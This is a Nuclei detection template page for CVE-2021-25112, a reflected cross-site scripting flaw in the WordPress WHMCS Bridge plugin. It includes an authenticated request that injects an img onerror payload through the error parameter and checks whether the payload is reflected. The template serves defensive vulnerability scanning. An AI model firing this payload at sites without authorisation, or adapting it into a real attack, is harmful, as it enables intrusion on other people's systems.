WordPress WHMCS Bridge <6.4b - Cross-Site Scripting

ID: CVE-2021-25112

Severity: medium

Author: dhiyaneshDk

Tags: cve2021,cve,whmcs,xss,wpscan,wordpress,wp-plugin,wp,authenticated,i-plugins

Description

WordPress WHMCS Bridge plugin before 6.4b contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the error parameter before outputting it back in the admin dashboard.

YAML Source

id: CVE-2021-25112

info:
  name: WordPress WHMCS Bridge <6.4b - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: |
    WordPress WHMCS Bridge plugin before 6.4b contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the error parameter before outputting it back in the admin dashboard.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update WordPress WHMCS Bridge to version 6.4b or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c
    - https://plugins.trac.wordpress.org/changeset/2659751
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25112
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25112
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.40139
    cpe: cpe:2.3:a:i-plugins:whmcs_bridge:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: i-plugins
    product: whmcs_bridge
    framework: wordpress
  tags: cve2021,cve,whmcs,xss,wpscan,wordpress,wp-plugin,wp,authenticated,i-plugins

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<strong><img src onerror=alert(document.domain)></strong>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201f880c45fc98a7e3d7a89418a08d25a2775e9827443ad89394dc5885ed748334022100c61e1bfd4cdcc030a0908420c0156d51187cec6e43c25d99c55087d7f2988eae:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25112.yaml"

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